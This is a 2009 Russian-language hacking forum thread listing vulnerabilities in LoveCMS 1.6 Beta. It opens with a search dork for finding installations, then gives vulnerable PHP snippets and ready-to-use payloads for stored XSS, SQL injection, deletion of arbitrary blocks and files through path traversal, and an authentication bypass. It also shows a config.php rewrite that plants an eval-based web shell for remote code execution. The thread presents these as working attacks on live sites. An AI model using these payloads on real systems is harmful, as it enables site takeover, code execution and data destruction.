LoveCMS 1.6Beta

Discussion in 'Веб-уязвимости' started by eLWAux, 15 Apr 2009.

  1. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    865
    Likes Received:
    616
    Reputations:
    211
    LoveCMS 1.6Beta
    [​IMG]

    Скачать: тынц sourceforge
    dork: "Powered by LoveCMS Green 1.6 Beta"

    проверка на админство:
    include(LOVE_ROOT . '/system/admin/love_head.php');
    if($_SESSION[SESSION_ADMIN] != ADMIN_USER)..die();
    во многих файлах идет сначала действие, а потом проверка))


    ---
    AdminXSS & SQlinj
    /system/admin/addblock.php

    POST: submit=submit&title={XSS1}&content=content&type={insert_SQLinj}--+
    в админке админ увидет title (т.е. ксс) при просмотре раздела "Blocks": (/system/admin/blocks.php)
    exploit:
    Code:
    POST: submit=submit&title=TITLE<script>alert(/a/);</script>&content=CONTENT&type=plain
    уязвимий кусок кода:
    PHP:
    $db -> db_query("INSERT INTO " DB_PREFIX "blocks 
        (title, content, type, position, height, visible, owner) VALUES (
        '" 
    addslashes($_POST['title']) . "',
        '" 
    addslashes($_POST['content']) . "',
        '" 
    $_POST['type'] . "',
        'left',
        '0',
        'no',
        'system')"
    );
    ---
    config.php rewrite
    /system/admin/themes.php

    POST: submit=submit&theme={config_theme}&
    define('THEME', 'LOVE_ROOT'); == define('THEME', $_POST['theme']);

    exploit:
    Code:
    /system/admin/themes.php?submit=submit&theme=');eval(isset($_GET['c'])?$_GET['c']:'
    ^^ и получаем шелл: /config.php?c={EVAL}
    также можна перезаписать ADMIN_USER, ADMIN_PASS, SESSION_ADMIN и другие конфиг-данные.
    /config.php?c=print LOVE_ROOT; - полный путь
    уязвимий кусок кода:
    PHP:
    if(isset($_POST['submit']))
    {
        
    $values = array(array('THEME'$_POST['theme']));
        
    open_config_file();
        
    write_config_file($values);
        
    close_config_file();
        
    redirect_with_message('msg''LANG_046');
    }..
    include(
    LOVE_ROOT '/system/admin/love_head.php');
    ---
    XSS & sqlInj
    /system/admin/editblock.php

    GET: id={номер}&
    POST: title={XSS}&content=o_O&type={update_sqlInj}');--+

    уязвимий кусок кода:
    PHP:
    if(!is_numeric($_GET['id']))
    {
        
    redirect_with_message('msg''LANG_118''blocks.php');
    }

    if(isset(
    $_POST['submit']))
    {
        
    $db -> db_query("UPDATE " DB_PREFIX "blocks SET
        title = '" 
    addslashes($_POST['title']) . "',
        content = '" 
    addslashes($_POST['content']) . "',
        type = '" 
    $_POST['type'] . "' 
        WHERE id = '" 
    $_GET['id'] . "'");
        
        
    redirect_with_message('msg''LANG_119''blocks.php');
    }

    include(
    LOVE_ROOT '/system/admin/love_head.php');
    ---
    удаления любого блока
    /system/admin/blocks.php

    ^^ удаление БЛОКА с табл. _blocks с id=$_GET[delete]
    GET: delete={номер}&

    уязвимий кусок кода:
    PHP:
    if(isset($_GET['delete']))
    {
        if(
    is_numeric($_GET['delete']))
        {
            
    $db -> db_query("DELETE FROM " DB_PREFIX "blocks 
            WHERE id = '" 
    $_GET['delete'] . "'");
            
            
    redirect_with_message('msg''LANG_111');
        }
    }
    ...
    include(
    LOVE_ROOT '/system/admin/love_head.php');
    ---
    удаление файлов
    /system/admin/images.php

    GET: delete={site.com/uploads/FILENAME}

    уязвимий кусок кода:
    PHP:
    if($_GET['delete'])
    {

        
    $filename $_GET['delete'];
        
    $sql $db -> db_query("DELETE FROM " DB_PREFIX "images 
        WHERE filename = '
    $filename'");
        
    unlink(LOVE_ROOT '/uploads/' $filename);
        
    unlink(LOVE_ROOT '/uploads/thumbs/' $filename);
        
    redirect_with_message('msg''LANG_088');
    }
    include(
    LOVE_ROOT '/system/admin/love_head.php');

    ---
    phpinfo
    Code:
    удаляем проверку на админа:
    /system/admin/images.php?delete=../system/admin/love_head.php
    смотрим phpinfo:
    /system/admin/phpinfo.php
    или:
    Code:
    перезаписиваем config.php:
    /system/admin/themes.php?submit=submit&theme=');eval(isset($_GET['c'])?$_GET['c']:'
    выполняем команду phpinfo() :
    /config.php?c=phpinfo();
     
    4 people like this.
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,138
    Reputations:
    350
    плановый слив РОА